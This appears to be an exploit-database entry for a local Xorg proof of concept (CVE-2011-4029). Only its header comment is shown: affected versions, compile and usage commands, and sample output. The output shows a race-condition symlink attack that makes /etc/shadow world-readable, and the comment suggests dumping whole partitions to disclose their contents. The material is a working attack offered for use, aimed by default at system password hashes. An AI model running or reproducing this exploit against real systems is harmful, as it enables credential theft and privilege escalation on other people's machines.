Exploit for linux platform in category local exploits
/* xchmod.c -- Xorg file permission change vulnerability PoC
Author: vladz (http://vladz.devzero.fr)
Date: 2011/10/27
Software: www.x.org
Version: Xorg 1.4 to 1.11.2 in all configurations. Xorg 1.3 and
earlier if built with the USE_CHMOD preprocessor identifier
Tested on: Debian 6.0.2 up to date with X default configuration
issued from the xserver-xorg-core package
(version 2:1.7.7-13)
CVE: CVE-2011-4029
This PoC sets the rights 444 (read for all) on any file specified as
argument (default file is "/etc/shadow"). Another good use for an
attacker would be to dump an entire partition in order to disclose its
full content later (via a "mount -o loop"). Made for EDUCATIONAL
PURPOSES ONLY!
In some configurations, this exploit must be launched from a TTY
(switch by typing Ctrl-Alt-Fn).
Tested on Debian 6.0.2 up to date with X default configuration issued
from the xserver-xorg-core package (version 2:1.7.7-13).
Compile: cc xchmod.c -o xchmod
Usage: ./xchmod [/path/to/file] (default file is /etc/shadow)
$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1072 Aug 7 07:10 /etc/shadow
$ ./xchmod
[+] Trying to stop a Xorg process right before chmod()
[+] Process ID 4134 stopped (SIGSTOP sent)
[+] Removing /tmp/.tX1-lock by launching another Xorg process
[+] Creating evil symlink (/tmp/.tX1-lock -> /etc/shadow)
[+] Process ID 4134 resumed (SIGCONT sent)
[+] Attack succeeded, ls -l /etc/shadow:
-r--r--r-- 1 root shadow 1072 Aug 7 07:10 /etc/shadow
